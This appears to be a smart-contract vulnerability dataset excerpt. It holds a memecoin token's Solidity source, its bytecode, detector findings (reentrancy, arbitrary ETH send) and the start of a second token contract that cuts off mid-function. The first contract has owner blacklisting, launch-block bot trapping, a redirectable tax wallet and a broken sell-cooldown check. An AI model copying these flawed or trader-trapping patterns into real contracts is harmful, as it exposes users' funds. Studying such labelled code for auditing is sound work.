uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MELONINU is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"meloninu.io";
string public constant symbol = unicode"mElon";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (10 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/6;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy >= 100000000 * 10**9);
require(maxheld >= 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 13 && sell < 13 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105ab578063db92dbb6146105c0578063dcb0e0ad146105d5578063dd62ed3e146105f5578063e8078d941461063b57600080fd5b8063a3f4782f14610536578063a9059cbb14610556578063b515566a14610576578063c3c8cd801461059657600080fd5b806373f54a11116100dc57806373f54a11146104a75780638da5cb5b146104c757806394b8d8f2146104e557806395d89b411461050557600080fd5b8063590f897e146104475780636fc3eaec1461045d57806370a0823114610472578063715018a61461049257600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103b857806340b9a54b146103f157806345596e2e1461040757806349bd5a5e1461042757600080fd5b806327f3a72a14610346578063313ce5671461035b57806331c2d8471461038257806332d873d8146103a257600080fd5b8063104ce66d116101c1578063104ce66d146102bd57806318160ddd146102f55780631940d0201461031057806323b872dd1461032657600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026b5780630b78f9c01461029b57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025e6040518060400160405280600b81526020016a6d656c6f6e696e752e696f60a81b81525081565b60405161021e9190611a32565b34801561027757600080fd5b5061028b610286366004611aac565b610650565b604051901515815260200161021e565b3480156102a757600080fd5b506102bb6102b6366004611ad8565b610666565b005b3480156102c957600080fd5b506008546102dd906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030157600080fd5b50678ac7230489e80000610214565b34801561031c57600080fd5b50610214600e5481565b34801561033257600080fd5b5061028b610341366004611afa565b610700565b34801561035257600080fd5b50610214610754565b34801561036757600080fd5b50610370600981565b60405160ff909116815260200161021e565b34801561038e57600080fd5b506102bb61039d366004611b51565b610764565b3480156103ae57600080fd5b50610214600f5481565b3480156103c457600080fd5b5061028b6103d3366004611c16565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fd57600080fd5b50610214600a5481565b34801561041357600080fd5b506102bb610422366004611c33565b6107f0565b34801561043357600080fd5b506009546102dd906001600160a01b031681565b34801561045357600080fd5b50610214600b5481565b34801561046957600080fd5b506102bb610891565b34801561047e57600080fd5b5061021461048d366004611c16565b6108be565b34801561049e57600080fd5b506102bb6108d9565b3480156104b357600080fd5b506102bb6104c2366004611c16565b61094d565b3480156104d357600080fd5b506000546001600160a01b03166102dd565b3480156104f157600080fd5b5060105461028b9062010000900460ff1681565b34801561051157600080fd5b5061025e6040518060400160405280600581526020016436a2b637b760d91b81525081565b34801561054257600080fd5b506102bb610551366004611ad8565b6109bb565b34801561056257600080fd5b5061028b610571366004611aac565b610a10565b34801561058257600080fd5b506102bb610591366004611b51565b610a1d565b3480156105a257600080fd5b506102bb610b36565b3480156105b757600080fd5b506102bb610b6c565b3480156105cc57600080fd5b50610214610c0e565b3480156105e157600080fd5b506102bb6105f0366004611c5a565b610c26565b34801561060157600080fd5b50610214610610366004611c77565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064757600080fd5b506102bb610c99565b600061065d338484610fdf565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068657600080fd5b600d821080156106965750600d81105b80156106a35750600a5482105b80156106b05750600b5481105b6106b957600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061070d848484611103565b6001600160a01b038416600090815260036020908152604080832033845290915281205461073c908490611cc6565b9050610749853383610fdf565b506001949350505050565b600061075f306108be565b905090565b6008546001600160a01b0316336001600160a01b03161461078457600080fd5b60005b81518110156107ec576000600560008484815181106107a8576107a8611cdd565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e481611cf3565b915050610787565b5050565b6008546001600160a01b0316336001600160a01b03161461081057600080fd5b600081116108555760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108b157600080fd5b476108bb816116cf565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109035760405162461bcd60e51b815260040161084c90611d0e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461096d57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610886565b6008546001600160a01b0316336001600160a01b0316146109db57600080fd5b67016345785d8a00008210156109f057600080fd5b6702c68af0bb140000811015610a0557600080fd5b600d91909155600e55565b600061065d338484611103565b6000546001600160a01b03163314610a475760405162461bcd60e51b815260040161084c90611d0e565b60005b81518110156107ec5760095482516001600160a01b0390911690839083908110610a7657610a76611cdd565b60200260200101516001600160a01b031614158015610ac7575060075482516001600160a01b0390911690839083908110610ab357610ab3611cdd565b60200260200101516001600160a01b031614155b15610b2457600160056000848481518110610ae457610ae4611cdd565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b2e81611cf3565b915050610a4a565b6008546001600160a01b0316336001600160a01b031614610b5657600080fd5b6000610b61306108be565b90506108bb81611709565b6000546001600160a01b03163314610b965760405162461bcd60e51b815260040161084c90611d0e565b60105460ff1615610be35760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161084c565b6010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b60095460009061075f906001600160a01b03166108be565b6008546001600160a01b0316336001600160a01b031614610c4657600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610886565b6000546001600160a01b03163314610cc35760405162461bcd60e51b815260040161084c90611d0e565b60105460ff1615610d105760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161084c565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d4c3082678ac7230489e80000610fdf565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190611d43565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1f9190611d43565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e909190611d43565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610ec0816108be565b600080610ed56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f3d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f629190611d60565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610fbb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ec9190611d8e565b6001600160a01b0383166110415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161084c565b6001600160a01b0382166110a25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161084c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561114557506001600160a01b03821660009081526005602052604090205460ff16155b801561116157503360009081526005602052604090205460ff16155b61116a57600080fd5b6001600160a01b0383166111ce5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161084c565b6001600160a01b0382166112305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161084c565b600081116112925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161084c565b600080546001600160a01b038581169116148015906112bf57506000546001600160a01b03848116911614155b15611670576009546001600160a01b0385811691161480156112ef57506007546001600160a01b03848116911614155b801561131457506001600160a01b03831660009081526004602052604090205460ff16155b156114e65760105460ff1661136b5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161084c565b600f54421415611399576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113eb5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161084c565b600e546113f7846108be565b6114019084611dab565b111561145f5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161084c565b6001600160a01b03831660009081526006602052604090206001015460ff166114c7576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611500575060105460ff165b801561151a57506009546001600160a01b03858116911614155b156116705761152a42600a611dab565b6001600160a01b0385166000908152600660205260409020541061159c5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161084c565b60006115a7306108be565b905080156116595760105462010000900460ff161561162a57600c54600954606491906115dc906001600160a01b03166108be565b6115e69190611dc3565b6115f09190611de2565b81111561162a57600c5460095460649190611613906001600160a01b03166108be565b61161d9190611dc3565b6116279190611de2565b90505b6000611637600683611de2565b90506116438183611cc6565b915061164e8161187d565b61165782611709565b505b47801561166957611669476116cf565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116b257506001600160a01b03841660009081526004602052604090205460ff165b156116bb575060005b6116c885858584866118ad565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107ec573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061174d5761174d611cdd565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ca9190611d43565b816001815181106117dd576117dd611cdd565b6001600160a01b0392831660209182029290920101526007546118039130911684610fdf565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061183c908590600090869030904290600401611e04565b600060405180830381600087803b15801561185657600080fd5b505af115801561186a573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff001916610100179055801561189f5761189f3061dead83611103565b506010805461ff0019169055565b60006118b983836118cf565b90506118c7868686846118f3565b505050505050565b60008083156118ec5782156118e75750600a546118ec565b50600b545b9392505050565b60008061190084846119d0565b6001600160a01b0388166000908152600260205260409020549193509150611929908590611cc6565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611959908390611dab565b6001600160a01b03861660009081526002602052604090205561197b81611a04565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119c091815260200190565b60405180910390a3505050505050565b6000808060646119e08587611dc3565b6119ea9190611de2565b905060006119f88287611cc6565b96919550909350505050565b30600090815260026020526040902054611a1f908290611dab565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a5f57858101830151858201604001528201611a43565b81811115611a71576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108bb57600080fd5b8035611aa781611a87565b919050565b60008060408385031215611abf57600080fd5b8235611aca81611a87565b946020939093013593505050565b60008060408385031215611aeb57600080fd5b50508035926020909101359150565b600080600060608486031215611b0f57600080fd5b8335611b1a81611a87565b92506020840135611b2a81611a87565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b6457600080fd5b823567ffffffffffffffff80821115611b7c57600080fd5b818501915085601f830112611b9057600080fd5b813581811115611ba257611ba2611b3b565b8060051b604051601f19603f83011681018181108582111715611bc757611bc7611b3b565b604052918252848201925083810185019188831115611be557600080fd5b938501935b82851015611c0a57611bfb85611a9c565b84529385019392850192611bea565b98975050505050505050565b600060208284031215611c2857600080fd5b81356118ec81611a87565b600060208284031215611c4557600080fd5b5035919050565b80151581146108bb57600080fd5b600060208284031215611c6c57600080fd5b81356118ec81611c4c565b60008060408385031215611c8a57600080fd5b8235611c9581611a87565b91506020830135611ca581611a87565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cd857611cd8611cb0565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d0757611d07611cb0565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d5557600080fd5b81516118ec81611a87565b600080600060608486031215611d7557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611da057600080fd5b81516118ec81611c4c565b60008219821115611dbe57611dbe611cb0565b500190565b6000816000190483118215151615611ddd57611ddd611cb0565b500290565b600082611dff57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e545784516001600160a01b031683529383019391830191600101611e2f565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220985b3cbb8d82a0f501072dd6c7df2bab953d6237d0b008c9a6ac16a84bf3012e64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,156 |
0x90e225dfeeafc43eaa7ae54a7fee696183b8147a
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
//共识会 contract
//
//共识勋章:象征着你在共识会的地位和权利
//Anno Consensus Medal: Veni, Vidi, Vici
//
// Symbol : GSU
// Name : Anno Consensus
// Total supply: 1000000
// Decimals : 0
//
// 共识币:维护共识新纪元的基石
//Anno Consensus Coin: Caput, Anguli, Seclorum
// Symbol : ANNO
// Name : Anno Consensus Token
// Total supply: 1000000000
// Decimals : 18
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function withdrawBalance() external onlyOwner {
owner.transfer(this.balance);
}
// ------------------------------------------------------------------------
// Accept ETH
// ------------------------------------------------------------------------
function () public payable {
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract GSUMedal is ERC20Interface, Owned, SafeMath {
event MedalTransfer(address indexed from, address indexed to, uint tokens);
string public medalSymbol;
string public medalName;
uint8 public medalDecimals;
uint public _medalTotalSupply;
mapping(address => uint) medalBalances;
mapping(address => bool) medalFreezed;
mapping(address => uint) medalFreezeAmount;
mapping(address => uint) medalUnlockTime;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function GSUMedal() public {
medalSymbol = "GSU";
medalName = "Anno Consensus";
medalDecimals = 0;
_medalTotalSupply = 1000000;
medalBalances[msg.sender] = _medalTotalSupply;
MedalTransfer(address(0), msg.sender, _medalTotalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function medalTotalSupply() public constant returns (uint) {
return _medalTotalSupply - medalBalances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function mentalBalanceOf(address tokenOwner) public constant returns (uint balance) {
return medalBalances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function medalTransfer(address to, uint tokens) public returns (bool success) {
if(medalFreezed[msg.sender] == false){
medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], tokens);
medalBalances[to] = safeAdd(medalBalances[to], tokens);
MedalTransfer(msg.sender, to, tokens);
} else {
if(medalBalances[msg.sender] > medalFreezeAmount[msg.sender]) {
require(tokens <= safeSub(medalBalances[msg.sender], medalFreezeAmount[msg.sender]));
medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], tokens);
medalBalances[to] = safeAdd(medalBalances[to], tokens);
MedalTransfer(msg.sender, to, tokens);
}
}
return true;
}
// ------------------------------------------------------------------------
// Mint Tokens
// ------------------------------------------------------------------------
function mintMedal(uint amount) public onlyOwner {
medalBalances[msg.sender] = safeAdd(medalBalances[msg.sender], amount);
_medalTotalSupply = safeAdd(_medalTotalSupply, amount);
}
// ------------------------------------------------------------------------
// Burn Tokens
// ------------------------------------------------------------------------
function burnMedal(uint amount) public onlyOwner {
medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], amount);
_medalTotalSupply = safeSub(_medalTotalSupply, amount);
}
// ------------------------------------------------------------------------
// Freeze Tokens
// ------------------------------------------------------------------------
function medalFreeze(address user, uint amount, uint period) public onlyOwner {
require(medalBalances[user] >= amount);
medalFreezed[user] = true;
medalUnlockTime[user] = uint(now) + period;
medalFreezeAmount[user] = amount;
}
function _medalFreeze(uint amount) internal {
require(medalBalances[msg.sender] >= amount);
medalFreezed[msg.sender] = true;
medalUnlockTime[msg.sender] = uint(-1);
medalFreezeAmount[msg.sender] = amount;
}
// ------------------------------------------------------------------------
// UnFreeze Tokens
// ------------------------------------------------------------------------
function medalUnFreeze() public {
require(medalFreezed[msg.sender] == true);
require(medalUnlockTime[msg.sender] < uint(now));
medalFreezed[msg.sender] = false;
medalFreezeAmount[msg.sender] = 0;
}
function _medalUnFreeze() internal {
require(medalFreezed[msg.sender] == true);
medalUnlockTime[msg.sender] = 0;
medalFreezed[msg.sender] = false;
medalFreezeAmount[msg.sender] = 0;
}
function medalIfFreeze(address user) public view returns (
bool check,
uint amount,
uint timeLeft
) {
check = medalFreezed[user];
amount = medalFreezeAmount[user];
timeLeft = medalUnlockTime[user] - uint(now);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract AnnoToken is GSUMedal {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public minePool;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) freezed;
mapping(address => uint) freezeAmount;
mapping(address => uint) unlockTime;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function AnnoToken() public {
symbol = "ANNO";
name = "Anno Consensus Token";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
minePool = 600000000000000000000000000;
balances[msg.sender] = _totalSupply - minePool;
Transfer(address(0), msg.sender, _totalSupply - minePool);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
if(freezed[msg.sender] == false){
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
} else {
if(balances[msg.sender] > freezeAmount[msg.sender]) {
